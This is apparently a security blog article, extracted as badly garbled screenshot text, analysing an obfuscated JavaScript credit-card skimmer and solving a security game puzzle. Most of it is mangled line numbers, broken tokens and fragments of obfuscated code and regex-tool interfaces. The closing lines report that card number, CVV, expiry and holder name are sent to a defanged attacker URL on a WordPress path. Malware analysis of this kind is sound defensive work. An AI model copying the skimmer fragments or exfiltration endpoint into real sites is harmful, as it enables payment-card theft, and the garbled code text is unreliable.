0 0 0 17 8 99 100 111 12 133 144 155 166 177 18 199 200 211 222 233 244 255 266 277 28	<pre>0</pre>	Un&Cd131 Space-4 UTF4 CRF Av OxSalcfd, _OxScafOf) { ifd; :20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) {	 ▲ 1 ▲ ▲
0 4 7 8 9 10 11 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29	<pre>0</pre>	Un&Cd131 Space4 UTF4 CRF Bw 	
8 9 10 11 12 13 14 15 16 17 18 19 20 21 223 23 24 25 26 27 28 29 30 0	<pre>0</pre>	Un&Cd131 Space4 UTF4 CRF bv Ox5alcfd, _Ox5cafOf) { :fd; 220622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) {	
Contemporation of the second secon	<pre>0</pre>	Un& Cd131 Space-4 UTF4 CRF Av OxSalcfd, _OxScafOf) (:fd; 20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) (
C O A B B B B C C C C C C C C C C	<pre>0</pre>	Un&Cd131 Space-4 UTF4 CRF Av Ox5alcfd, _Ox5cafOf) { :fd; :20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) {	
C O A B B B B C C C C C C C C C C	<pre>0</pre>	<pre>Un&Cd131 Spece4 UTF4 CRF #w Ox5alcfd, _Ox5caf0f) (ifd; :20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) (ica) (</pre>	
Control Control <t< th=""><th><pre>0</pre></th><th><pre>Cn&Cd131 Spece4 UTF4 CRF bx OxSalcfd, _OxScafOf) (ifd; 20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) (</pre></th><th></th></t<>	<pre>0</pre>	<pre>Cn&Cd131 Spece4 UTF4 CRF bx OxSalcfd, _OxScafOf) (ifd; 20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) (</pre>	
Control Contro <thcontrol< th=""> <thcontrol< th=""> <thco< th=""><th><pre>0</pre></th><th><pre>call constant () () () () () () () () () () () () ()</pre></th><th></th></thco<></thcontrol<></thcontrol<>	<pre>0</pre>	<pre>call constant () () () () () () () () () () () () ()</pre>	
Control Control <t< th=""><th><pre>0</pre></th><th><pre>cn8_Gd131_Spece4_UTF4_ORF_exe 0x5alcfd, _0x5caf0f) { ifd; 20622c['length']; _0x30c4bd < _0x18cf98; _0x30c4bd++) { ica) { /; \x20) ' + _0x114c93['replace']{/([.\$2* {)([]\/+^])/g, '51'] + '=([^;]*)')); ff99) {</pre></th><th></th></t<>	<pre>0</pre>	<pre>cn8_Gd131_Spece4_UTF4_ORF_exe 0x5alcfd, _0x5caf0f) { ifd; 20622c['length']; _0x30c4bd < _0x18cf98; _0x30c4bd++) { ica) { /; \x20) ' + _0x114c93['replace']{/([.\$2* {)([]\/+^])/g, '51'] + '=([^;]*)')); ff99) {</pre>	
2004 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 6 29 20 31 32 23 33 34 5 36 37 36 37 8 39	<pre>0</pre>	<pre>0x5alcfd, _0x5caf0f) { fd; 20622c['length']; _0x30c4bd < _0x18cf98; _0x30c4bd++) { ca) {</pre>	
Cool 7 8 9 9 10 11 12 13 14 15 16 17 18 19 201 21 21 22 233 24 255 266 290 31 322 33 344 355 366 377 38 39 400 40	<pre>0</pre>	<pre>0xSalcfd, _0xScaf0f) { (</pre>	
7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 20 20 23 31 32 24 25 26 27 30 31 32 33 34 35 36 37 38 9 30 40 41 42	<pre>0</pre>	<pre>Cn&Cd131 Spece4 UTF4 CRF av 0xSalcfd, _0xScaf0f) { ifd; 20622c['length']; _0x30c4bd < _0x18cf98; _0x30c4bd++) { ca) { ca) {</pre>	
7 8 9 10 11 12 13 14 15 16 16 17 18 19 20 21 22 23 31 22 24 25 26 29 20 31 22 33 34 35 36 37 36 37 38 39 40 41 41 42 43	<pre>0</pre>	<pre>0x5alcfd, _0x5caf0f) { fd; 20622c['length']; _0x30c4bd < _0x18cf98; _0x30c4bd++) { ca) {</pre>	
7 8 9 100 11 12 13 14 15 16 17 18 19 20 21 22 23 3 24 25 26 27 28 29 20 31 32 23 33 34 35 33 34 35 36 37 8 39 9 40 41 44	<pre>0</pre>	<pre>0x5alcfd, _0x5caf0f) { fd; 20622c['length']; _0x30c4bd < _0x18cf98; _0x30c4bd++) { ca) {</pre>	
7 8 9 10 11 12 13 14 15 16 16 17 18 19 20 21 22 23 34 35 26 27 28 29 30 31 32 33 34 35 36 37 38 37 38 36 42 42 42 42 42 42 42 42 42 42	<pre>0</pre>	<pre>Call Speced UF4 OF4 OF be (xScalofd, _0xScaf0f) { fd; 20622c['length']; _0x30c4bd < _0x18cf98; _0x30c4bd++) { ca) { ^\[;\x20] + _0x14c93['replace']{/([.\$?*[()([]\/+^])/g, '\$1') + '=([^;]*)')); f799) { 426398[0x1]) ; undefined; wbel\x20ft()x5cabx20ft()x321\x221\x221\x20ft)];</pre>	
7 8 9 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 34 25 26 27 28 20 31 22 23 30 31 22 23 33 40 41 42 45 46 47 47	<pre>0</pre>	<pre>call Guild Speec4 UF4 OF4 OF4 OF4 OF4 OF4 OF4 OF4 OF4 OF4 O</pre>	
7 8 9 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 22 23 24 25 26 27 8 20 31 32 24 33 33 34 35 36 37 8 39 30 40 41 42 45 46 47 48	<pre>0</pre>	<pre>ud&Cot31 Space4 UTF4 OEF as 0xSalcfd,0xScafOf) { fd; 20622c['length'];0x30c4bd <0x10cf90;0x30c4bd++) { ica) { ^</pre>	

🖪 Regism Learn, Build, & Test Regi X +						
← → C			x 🛇 🛅 🖸 🧶 :			
🚯 Hack 4 Career. Infor 🛅 LinkedIn 🤰	👂 Mert SARICA (merts M	Inbox - mertsarica				
📩 Untitled Pattern 🔅 Save (ctrl-s)			💽 by gskinner GitHub 上 Sign In			
i Menu		Expression	<> JavaScript - 🌾 Flags -			
Pattern Settings		/"\w+++\{\}=+f\w+++["]",+["]";?++]"/"				
W My Patterns						
Cheatsheet		Text No match (0.4ms)				
RegEx Reference		RegExr was created by gskinner.com, and is proudly hosted by Media Temple.				
Community Patterns		Edit the Expression & Text to see matches. Roll over matches or the expression for details. PCRE & Javascript flavors of RegEx are supported.				
Help		The side bar includes a Cheatsheet, full Reference, and Help. You can also Save & Share with the Community, and view patterns you create or favorite in My Patterns.				
		my Patterns. 				
		English.				
RegExr is an online tool to learn, build , Expressions (RegEx / RegExp).	& test Regular					
Supports JavaScript & PHP/PCRE F Desults undate in real time	RegEx.	Tools	Replace List Details, Funlain 😪			
 Roll over a match or expression for 	details.		reprove cove octorial copromitive			
 Save & share expressions with other Use Tools to explore your results. 	¥S.	Roll-over elements below to highlight in the Expression above. Click to open in Reference.	0			
 Full RegEx Reference with help & exactly a set of the set of the	xamples. rs.	" Character. Matches a "" character (char code 34).				
Search for & rate Community Patte	ms.	\w Word. Matches any word character (alphanumeric & underscore).				
		+ Quantifier. Match 1 or more of the preceding token.				
		Character. Matches a SPACE character (char code 32).				
		Quantifier. Match 0 or more of the preceding token.				
Adobe Creative Clou	ers, save up to 60% on d.) (Escaped character, Matches a '(" character (char code 40).				
ADS VIA CARBON						
🌁 RegExr: Learn, Build, & Test RegE 🗙 🗙	R Online regex tester and deb	() Escaped character, Matches a) character (char code 41).	- Ø ×			
← → C	im		x 🛇 🖬 🖪 🍘 :			
🚯 Hack 4 Career. Infor 🛅 LinkedIn 🤰	Mert SARICA (merts M	Inbox - mertsarica				
regular expressions 101			🖬 @regex101 💲 donate 🦼 contact 👼 bug reports & feedback 🏦 wiki			
SAVE & SHARE	REGULAR EXPRESSION	no match, 92 steps (-1n	ns) EXPLANATION Y			
Save Regex ctrl+s	∃/ <u>\w+</u> *\(\) *{\	W# ([']];+[']];R #} /gm)				
FLAVOR	TEST STRING	SWITCH TO UNIT TESTS	Quantifier — Matches between one and unlimited times, as many times as possible, giving back as needed (greedy)			
<pre></pre>	function(){ ret	unn'dev';}	 Matches the character literally (case sensitive) Quantifier — Matches between zero and unlimited times, as many times as 			
Python			possible, giving back as needed (greedy)			
Co Golang			matches the character interally (case sensitive) Terrational and the sensitive interaction of the sensitive interactint of the sensitive interaction of the sensitive interaction of			
R Code Generator			possible, giving back as needed (greedy) (matches the character (literally (case sensitive)) (matches the character (literally (case sensitive))			
Regex Debugger			(modeles are character and here sensate)			
			MATCH INFORMATION V Your regular expression does not match the subject string.			
			QUICK REFERENCE ~			
			Search reference A single character of: a, b or c [abc]			
			All Tokens A character except: a, b or c [^abc] Acharacter in the range: a:z			
			General Tokens A character not in the range: a-z [^a-z]			
			Anchors A character in the range: a-z or A-Z [a-zA-Z]			
			Meta Sequences Any single character Any whitespace character			
			Group Constructs Any non-whitespace character \s			
\$ SPONSOR	SUBSTITUTION		Any digit /d *			

\$ SPONSOR



I have detected that credit card information (CVV, Holder, ccexpiry, ccnumber, cvc, fullname) is being stolen and sent to the address https://kinitrofitness[.]com/wp-includes/class-wp-customize-settings.php by editing it without spaces and solving hidden character strings through Regex control and static and dynamic code analysis.





Hope to see you in the following articles.

Note:

 This article also contains the solution for the Pi Hediyem Var #19 cybersecurity game.